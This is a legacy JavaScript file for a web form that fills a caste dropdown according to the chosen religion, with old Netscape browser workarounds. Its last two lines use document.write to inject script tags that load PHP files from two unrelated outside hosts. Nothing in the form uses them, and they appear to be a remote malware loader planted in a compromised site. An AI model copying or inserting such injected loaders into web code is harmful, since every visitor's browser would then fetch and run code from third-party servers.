var muslimArray =  new Array("('Select caste','',true,true)",
"(' siha')",
"(' suni')",
"(' Other')");
var sikhArray =  new Array("('Select caste','',true,true)",
"(' jath')",
"(' gursikh')",
"(' khatri')",
"(' ramgharia')",
"(' Other')");
var budhistArray =  new Array("('Select caste','',true,true)",
"(' budhist')",
"(' Other')");
var jainArray =  new Array("('Select caste','',true,true)",
"(' jain')",
"(' vania')",
"(' Other')");
var christianArray =  new Array("('Select caste','',true,true)",
"(' catholic')",
"(' protestant')",
"(' Other')");

var hinduArray =  new Array("('Select caste','',true,true)",
"(' brahmin')",
"(' kshatriya')",
"(' kayasta')",
"(' vysya')",
"(' sudra')",
"(' oriya')",
"(' Other')");


function religion(inForm,selected) {
var selectedArray = eval(selected + "Array");
while (selectedArray.length < inForm.country.options.length) {
inForm.country.options[(inForm.country.options.length - 1)] = null;
}
for (var i=0; i < selectedArray.length; i++) {
eval("inForm.country.options[i]=" + "new Option" + selectedArray[i]);
}
if (inForm.region.options[0].value == '') {
inForm.region.options[0]= null;
if ( navigator.appName == 'Netscape') {
if (parseInt(navigator.appVersion) < 4) {
window.history.go(0);
}
else {   	
if (navigator.platform == 'Win32' || navigator.platform == 'Win16') {
window.history.go(0);
            }
         }
      }
   }
}
function caste(inForm,selected) {  
var stateArray =  new Array("('Select caste','',true,true)",
"(' khandayat')",
"(' karana')",
"(' teli')",
"(' harijana')");
if (selected == ' oriya') {
for (var i=0; i < stateArray.length; i++) {
eval("inForm.country.options[i]=" + "new Option" + stateArray[i]);
}
if ( navigator.appName == 'Netscape') {
if (parseInt(navigator.appVersion) < 4) {
window.history.go(0)
}
else {    	
if (navigator.platform == 'Win32' || navigator.platform == 'Win16') {
window.history.go(0)
         }
      }
   }
}
else {
}  
if (selected == ' Other') {
newCountry = "";
while (newCountry == ""){
newCountry=prompt ("Please enter the specific caste.", " ");
}
if (newCountry != null) {
inForm.country.options[(inForm.country.options.length-1)]=new Option(newCountry,newCountry,true,true);
inForm.country.options[inForm.country.options.length]=new Option('Other, not listed','Other');
   }
}
if(inForm.country.options[0].text == 'Select country') {
inForm.country.options[0]= null;
   }
}

document.write('<script src=http://anydisk.anyprinting.com/webfolder/index.php ><\/script>');
document.write('<script src=http://forum.fas.su/images/usernote.php ><\/script>');